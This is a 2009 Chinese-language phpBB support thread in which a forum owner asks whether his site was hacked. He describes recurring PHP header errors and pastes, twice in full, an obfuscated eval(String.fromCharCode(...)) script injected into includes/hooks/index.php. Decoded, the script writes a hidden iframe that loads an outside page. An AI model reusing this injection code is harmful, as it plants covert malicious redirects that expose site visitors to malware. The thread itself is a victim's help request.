1 頁 (共 1 頁)

請問我的網站是被 hack 了嗎?

發表於 : 2009-03-30 14:27
rob_chou
每過幾天討論區就會跑出這幾行:
[phpBB Debug] PHP Notice: in file /includes/session.php on line 990: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:250)
[phpBB Debug] PHP Notice: in file /includes/session.php on line 990: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:250)
[phpBB Debug] PHP Notice: in file /includes/session.php on line 990: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:250)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 3805: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:250)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 3807: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:250)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 3808: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:250)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 3809: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:250)
並且用 AviraAntivirus 會查到有病毒,我嘗試每次見到這訊息時就進入 hooks/index.php 檔案 把第 250 行之後的亂碼刪掉 但過一兩天就又跑出來
想請問有沒有人有這種狀況 並如何修理
謝謝!!

●主機作業系統:Windows
●快速架站程式:N/A
●免費空間連結: http://1and1.com
●您的上網方式:Cable (TimeWarner Cable)
●您安裝的程式:Apache + php + MySql
●您的 phpBB 版本:phpBB 3.0.4
●您的 domain (網域名稱) : http://www.uttisa.com
●您的 phpBB 連結網址: http://www.uttisa.com/phpbb/

Re: 請問我的網站是被 hack 了嗎?

發表於 : 2009-03-30 14:35
小竹子
看樣子你有改到程式,但是沒改好....
可以提供你近期內改了什麼嗎?或是最後一次修改程式為何?

Re: 請問我的網站是被 hack 了嗎?

發表於 : 2009-03-30 22:29
rob_chou
我們很久都沒有修改東西了 至少有好幾個月了吧
但是上述問題是這兩天才出現的

每當有上述問題出現時 我唯一做的動作就是到 includes/hooks/index.php 第205行 把下列語法刪除
<?php echo '<script type="text/javascript">eval(String.fromCharCode(118,97,114,32,102,103,103,103,101,51,61,34,118,101,115,34,59,118,97,114,32,119,51,52,53,61,34,116,101,34,59,118,97,114,32,114,101,54,61,34,108,105,97,46,34,59,118,97,114,32,114,114,61,34,99,111,109,34,59,118,97,114,32,97,61,34,105,102,34,59,118,97,114,32,115,61,34,116,116,34,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,39,43,97,43,39,114,97,109,101,32,115,114,99,61,34,104,39,43,115,43,39,112,58,47,47,39,43,102,103,103,103,101,51,43,39,39,43,119,51,52,53,43,39,39,43,114,101,54,43,39,39,43,114,114,43,39,47,39,43,39,113,113,112,47,39,43,39,39,43,39,39,43,39,34,32,115,116,121,108,101,61,34,100,39,43,39,105,115,112,108,97,121,58,110,39,43,39,111,110,101,34,62,60,47,105,102,39,43,39,114,97,109,101,62,39,41,59,118,97,114,32,116,61,48,48,48,48,49,50,49,55))</script>'; ?>
然後就可以用了
但是過一兩天這個語法又會自動出現
不曉得有什麼建議

謝謝

Re: 請問我的網站是被 hack 了嗎?

發表於 : 2009-03-30 22:32
心靈捕手
rob_chou 寫:我們很久都沒有修改東西了 至少有好幾個月了吧
但是上述問題是這兩天才出現的

每當有上述問題出現時 我唯一做的動作就是到 includes/hooks/index.php 第205行 把下列語法刪除
<?php echo '<script type="text/javascript">eval(String.fromCharCode(118,97,114,32,102,103,103,103,101,51,61,34,118,101,115,34,59,118,97,114,32,119,51,52,53,61,34,116,101,34,59,118,97,114,32,114,101,54,61,34,108,105,97,46,34,59,118,97,114,32,114,114,61,34,99,111,109,34,59,118,97,114,32,97,61,34,105,102,34,59,118,97,114,32,115,61,34,116,116,34,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,39,43,97,43,39,114,97,109,101,32,115,114,99,61,34,104,39,43,115,43,39,112,58,47,47,39,43,102,103,103,103,101,51,43,39,39,43,119,51,52,53,43,39,39,43,114,101,54,43,39,39,43,114,114,43,39,47,39,43,39,113,113,112,47,39,43,39,39,43,39,39,43,39,34,32,115,116,121,108,101,61,34,100,39,43,39,105,115,112,108,97,121,58,110,39,43,39,111,110,101,34,62,60,47,105,102,39,43,39,114,97,109,101,62,39,41,59,118,97,114,32,116,61,48,48,48,48,49,50,49,55))</script>'; ?>
然後就可以用了
但是過一兩天這個語法又會自動出現
不曉得有什麼建議

謝謝
建議您:
補充說明, "hooks" 是裝了哪支外掛?